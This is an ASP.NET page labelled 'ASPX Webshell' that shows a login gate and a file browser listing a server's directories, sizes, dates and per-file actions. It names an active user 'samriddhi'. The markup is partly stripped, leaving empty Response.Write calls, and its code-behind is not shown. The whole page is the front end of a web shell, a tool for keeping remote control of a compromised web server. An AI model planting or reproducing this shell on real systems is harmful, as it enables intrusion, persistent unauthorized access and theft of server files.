<%@ Page Language="C#" AutoEventWireup="true" %> ASPX Webshell <% if (!IsAuthenticated) { %>

Login




<%= LoginError %>
<% } else { %>

Active User: samriddhi | Logout

Current Path: <%= Server.HtmlEncode(CurrentPath) %>

<% if (System.IO.Directory.Exists(CurrentPath)) { var dir = new System.IO.DirectoryInfo(CurrentPath); var entries = dir.GetFileSystemInfos(); foreach (var entry in entries) { string name = entry.Name + (entry.Attributes.HasFlag(System.IO.FileAttributes.Directory) ? "/" : ""); long size = entry.Attributes.HasFlag(System.IO.FileAttributes.Directory) ? -1 : ((System.IO.FileInfo)entry).Length; string modified = entry.LastWriteTime.ToString("yyyy-MM-dd HH:mm:ss"); string encodedPath = EncodeBase64(entry.FullName); Response.Write(""); Response.Write(""); Response.Write(""); Response.Write(""); Response.Write(""); Response.Write(""); } } else { Response.Write(""); } %>
NameSizeModifiedActions
"); if (entry.Attributes.HasFlag(System.IO.FileAttributes.Directory)) { Response.Write("" + Server.HtmlEncode(name) + ""); } else { Response.Write(Server.HtmlEncode(name)); } Response.Write("" + (size == -1 ? "-" : size.ToString()) + "" + modified + ""); if (!entry.Attributes.HasFlag(System.IO.FileAttributes.Directory)) { Response.Write("
"); Response.Write("
"); Response.Write("
"); } else { Response.Write(" "); } Response.Write("
Cannot access directory.
<% } %>